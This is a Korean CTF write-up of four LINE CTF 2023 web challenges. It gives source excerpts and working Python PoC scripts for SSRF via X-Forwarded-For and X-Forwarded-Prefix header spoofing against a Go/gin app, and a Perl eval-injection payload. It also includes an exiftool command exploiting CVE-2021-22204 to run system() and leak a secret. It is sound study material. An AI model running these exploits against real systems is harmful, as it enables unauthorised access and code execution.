Home [CTF][LINE CTF 2023] Writeup
Post
Cancel

[CTF][LINE CTF 2023] Writeup

3주연속으로 CTF는 쉽지 않군요. 그래도 LINE CTF는 24시간이라서 오히려 좋았습니다. 너무 길면 궁금한 시간만 길어질 때가 많기 때문이죠.

Baby Simple GoCurl (100pt)(solved)


Go로 작성된 문제입니다. 아래와 같이 로컬로 요청을 쏠 수 있는 폼이 존재합니다.
main

플레그 위치


플레그는 /flag 엔드포인트에 존재합니다. 하지만 RemoteAddr127.0.0.1일때만 접속할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//main.go: 90
...

func main(){

    ...

	r.GET("/flag/", func(c *gin.Context) {
		reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
		log.Println("[+] RemoteAddr : " + c.Request.RemoteAddr)
		log.Println("[+] IP : " + reqIP)
		if reqIP == "127.0.0.1" {
			c.JSON(http.StatusOK, gin.H{
				"message": flag,
			})
			return
		}

		c.JSON(http.StatusBadRequest, gin.H{
			"message": "You are a Guest, This is only for Host",
		})
	})

	r.Run()

}


취약점


main()를 보면 29 번째 줄에서 url에 flag, curl, % 문자열이 들어갔는지, c.ClientIP()127.0.0.1인지 아닌지 검증합니다. 조건문을 보면 127.0.0.1이기만 하면 flag 문자열이 들어가도 요청을 보낼 수 있기 때문에 c.ClientIP()만 127.0.0.1로 만들어주면 /flag 엔드포인트로 요청을 보낼 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
...
func main() {
	flag := os.Getenv("FLAG")

	r := gin.Default()

	r.LoadHTMLGlob("view/*.html")
	r.Static("/static", "./static")

	r.GET("/", func(c *gin.Context) {
		c.HTML(http.StatusOK, "index.html", gin.H{
			"a": c.ClientIP(),
		})
	})

	r.GET("/curl/", func(c *gin.Context) {
		client := &http.Client{
			CheckRedirect: func(req *http.Request, via []*http.Request) error {
				return redirectChecker(req, via)
			},
		}

		reqUrl := strings.ToLower(c.Query("url"))
		reqHeaderKey := c.Query("header_key")
		reqHeaderValue := c.Query("header_value")
		reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
		fmt.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue)

		if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
			log.Println("[+] IP : " + c.ClientIP())
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}

		req, err := http.NewRequest("GET", reqUrl, nil)
		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}

		if reqHeaderKey != "" || reqHeaderValue != "" {
			req.Header.Set(reqHeaderKey, reqHeaderValue)
		}

		resp, err := client.Do(req)
		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}

		defer resp.Body.Close()

		bodyText, err := ioutil.ReadAll(resp.Body)
		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}
		statusText := resp.Status

		c.JSON(http.StatusOK, gin.H{
			"body":   string(bodyText),
			"status": statusText,
		})
	})

	r.GET("/flag/", func(c *gin.Context) {
		reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
		log.Println("[+] RemoteAddr : " + c.Request.RemoteAddr)
		log.Println("[+] IP : " + reqIP)
		if reqIP == "127.0.0.1" {
			c.JSON(http.StatusOK, gin.H{
				"message": flag,
			})
			return
		}

		c.JSON(http.StatusBadRequest, gin.H{
			"message": "You are a Guest, This is only for Host",
		})
	})

	r.Run()
}


gin의 공식 문서를 보면 X-ForWarded-For 또는 X-Real-Ip 헤더를 통해서 clientIP를 조작할 수 있습니다.
gin

PoC Code


처음 시도했을 때 포트번호까지 주니 안돼서 로컬에서 빌드해서 확인한 결과 포트번호는 주면 안되는 것이었습니다ㅎ.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from requests import get
from re import search

info = lambda x : print(f"[+] {x}")

URL ="http://34.146.230.233:11000"
FLAG =""

res = get(f"{URL}/curl/?url=http://localhost:8080/flag/&header_key=&header_value=", headers={"X-Forwarded-For":"127.0.0.1"})
m = search(r"LINECTF{.*?}",res.text)

if m :
    FLAG = m.group()
    info(f"Flag is {FLAG}")
else :
    print("[-] Failed to find the flag")


Adult Simple GoCurl (193pt)


Baby문제와 다른 점은 아래와 같이 조건문의 차이점 뿐입니다. 이제는 url 파라미터에 직접적으로 flag, curl, %를 쓸 수 없습니다.

1
2
3
4
5
6
...
    if strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%") {
        c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
        return
    }
...


취약점


우리는 임의의 헤더를 설정할 수 있으므로, X-Forwarded-Prefix 헤더를 이용하여 요청 시 기본 경로를 지정할 수 있습니다. /flag 엔드포인트를 prefix로 놓으면 //로 요청을 보내면 리다이렉트가 될 것이고 이 헤더에 의해서 실제 요쳥은 /flag와 같아지겠죠. 이런 헤더가 있는지 처음 알았습니다.

PoC Code


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from requests import get
from re import search

info = lambda x : print(f"[+] {x}")

URL ="http://34.84.87.77:11001"
FLAG =""

res = get(f"{URL}/curl/?url=http://127.0.0.1:8080//&header_key=X-Forwarded-Prefix&header_value=/flag/")
m = search(r"LINECTF{.*?}",res.text)

if m :
    FLAG = m.group()
    info(f"Flag is {FLAG}")
else :
    print("[-] Failed to find the flag")


Old Pal (119pt)(Solved)


Perl로 작성된 문제로 조건문을 모두 통과하여 $pw20230325이면 풀립니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/perl
use strict;
use warnings;

use CGI;
use URI::Escape;


$SIG{__WARN__} = \&warn;
sub warn {
    print("Hacker? :(");
    exit(1);
}


my $q = CGI->new;
print "Content-Type: text/html\n\n";

my $pw = uri_unescape(scalar $q->param("password"));

if ($pw eq '') {
    print "Hello :)";
    exit();
}
if (length($pw) >= 20) { ## len limit 20
    print "Too long :(";
    die();
}
if ($pw =~ /[^0-9a-zA-Z_-]/) { ## 숫자 영문 - _ 허용
    print "Illegal character :(";
    die();
}
if ($pw !~ /[0-9]/ || $pw !~ /[a-zA-Z]/ || $pw !~ /[_-]/) { ## character set이 적어도 한번씩은 들어가야함.
    print "Weak password :(";
    die();
}
if ($pw =~ /[0-9_-][boxe]/i) { ## 숫자 + b,o,x,e 조합 안된다.
    print "Do not punch me :(";
    die();
}
if ($pw =~ /AUTOLOAD|BEGIN|CHECK|DESTROY|END|INIT|UNITCHECK|abs|accept|alarm|atan2|bind|binmode|bless|break|caller|chdir|chmod|chomp|chop|chown|chr|chroot|close|closedir|connect|cos|crypt|dbmclose|dbmopen|defined|delete|die|dump|each|endgrent|endhostent|endnetent|endprotoent|endpwent|endservent|eof|eval|exec|exists|exit|fcntl|fileno|flock|fork|format|formline|getc|getgrent|getgrgid|getgrnam|gethostbyaddr|gethostbyname|gethostent|getlogin|getnetbyaddr|getnetbyname|getnetent|getpeername|getpgrp|getppid|getpriority|getprotobyname|getprotobynumber|getprotoent|getpwent|getpwnam|getpwuid|getservbyname|getservbyport|getservent|getsockname|getsockopt|glob|gmtime|goto|grep|hex|index|int|ioctl|join|keys|kill|last|lc|lcfirst|length|link|listen|local|localtime|log|lstat|map|mkdir|msgctl|msgget|msgrcv|msgsnd|my|next|not|oct|open|opendir|ord|our|pack|pipe|pop|pos|print|printf|prototype|push|quotemeta|rand|read|readdir|readline|readlink|readpipe|recv|redo|ref|rename|require|reset|return|reverse|rewinddir|rindex|rmdir|say|scalar|seek|seekdir|select|semctl|semget|semop|send|setgrent|sethostent|setnetent|setpgrp|setpriority|setprotoent|setpwent|setservent|setsockopt|shift|shmctl|shmget|shmread|shmwrite|shutdown|sin|sleep|socket|socketpair|sort|splice|split|sprintf|sqrt|srand|stat|state|study|substr|symlink|syscall|sysopen|sysread|sysseek|system|syswrite|tell|telldir|tie|tied|time|times|truncate|uc|ucfirst|umask|undef|unlink|unpack|unshift|untie|use|utime|values|vec|wait|waitpid|wantarray|warn|write/) {
    print "I know eval injection :(";
    die();
}
if ($pw =~ /[Mx. squ1ffy]/i) { ## m,x,s,u,f,y 안된다. 
    print "You may have had one too many Old Pal :(";
    die();
}


if (eval("$pw == 20230325")) {
    print "Congrats! Flag is LINECTF{redacted}"
} else {
    print "wrong password :(";
    die();
};


PoC Code


Perl 공식 문서를 보면 Alphabetical한 function에 __LINE__이라는 것이 있는데 소스코드에서 현재 줄 번호를 반환합니다. 로컬에서 테스트했을 때 __LINE__의 값은 1이길래 아래와 같이 전달하여 해결할 수 있었습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from requests import get
from re import search

info = lambda x : print(f"[+] {x}")

URL ="http://104.198.120.186:11006"
PAYLOAD = "20230326-__LINE__"
FLAG =""

res = get(f"{URL}/cgi-bin/main.pl?password={PAYLOAD}")
m = search(r"LINECTF{.*?}",res.text)

if m :
    FLAG = m.group()
    info(f"Flag is {FLAG}")
else :
    print("[-] Failed to find the flag")


Imagexif (152pt)


해당 문제는 ExifTool 12.22버전으로 CVE-2021-22204의 영향을 받습니다. 아래 코드처럼 사진을 업로드하면 metadata만 출력하기 때문에 취약점의 PoC처럼 코드의 실행결과를 직접 볼 수는 없습니다. 하지만 38 번째 줄의 ExifToolJSONInvalidError를 일으키면 re.findAll()에서 정규표현식의 조건을 맞추어 ast.literal_eval()를 실행시킬 수 있습니다. 이 메서드는 eval과 같은 강력한 기능은 할 수 없지만 key-value형태로 실행이 가능합니다. 그리고 이 메서드를 실행한 결과를 metadata 변수에 담아서 다시 랜더링합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
... 

@app.route('/upload', methods=["GET","POST"])
def upload():
    try:
        if request.method == 'GET':
            return render_template(
            'upload.html.j2')
        elif request.method == 'POST':
            if 'file' not in request.files:
                return 'there is no file in form!'
            file = request.files['file']
            if file and allowed_file(file.filename):
                _file = file.read()
                tmpFileName = str(uuid.uuid4())
                with open("tmp/"+tmpFileName,'wb') as f:
                    f.write(_file)
                    f.close()
                    tags = exifread.process_file(file)
                    _encfile = base64.b64encode(_file)
                    try:
                        thumbnail = base64.b64encode(tags.get('JPEGThumbnail'))
                    except:
                        thumbnail = b'None'

                with exiftool.ExifToolHelper() as et:
                    metadata = et.get_metadata(["tmp/"+tmpFileName])[0]
            else:
                raise FileNotAllowed(file.filename.rsplit('.',1)[1])

        os.remove("tmp/"+tmpFileName)
        return render_template(
            'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
    except FileNotAllowed as e:
        return jsonify({
                "error": APIError("FileNotAllowed Error Occur", str(e)).__dict__,
        }), 400
    except ExifToolJSONInvalidError as e:
        os.remove("tmp/"+tmpFileName)
        data = e.stdout
        reg = re.findall('\[(.*?)\]',data, re.S )[0]
        metadata = ast.literal_eval(reg) ## literal_eval
        if 0 != len(metadata):
            return render_template(
            'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
        else:
            return jsonify({
                "error": APIError("ExifToolJSONInvalidError Error Occur", str(e)).__dict__,
        }), 400
    except ExifToolException as e:
        os.remove("tmp/"+tmpFileName)
        return jsonify({
                "error": APIError("ExifToolException Error Occur", str(e)).__dict__,
        }), 400
    except IndexError as e:
        return jsonify({
                "error": APIError("File extension could not found.", str(e)).__dict__,
        }), 400
    except Exception as e:
        os.remove("tmp/"+tmpFileName)
        return jsonify({
                "error": APIError("Unknown Error Occur", str(e)).__dict__,
        }), 400


깃허브의 RCE 툴을 이용하여 다음과 같은 페이로드를 구성하여 결괏값을 볼 수 있습니다. 뭐 여기서 RCE가 가능한데 리버스쉘 연결하면 되지않냐라고 물으신다면 저 역시 시도는 해봤지만 전혀 되지 않았습니다. 그러면 아래처럼 연속된 escape 때문에 고생할 일도 없을텐데 말이죠.

1
exiftool -config eval.config runme.jpg -eval="system('echo [{\\\"a\\\":\\\"\$FLAG\\\"}]')"


cat

[CTF][WolvCTF 2023] Writeup

[Hackthebox] AbuseHumanDB

Comments powered by Disqus.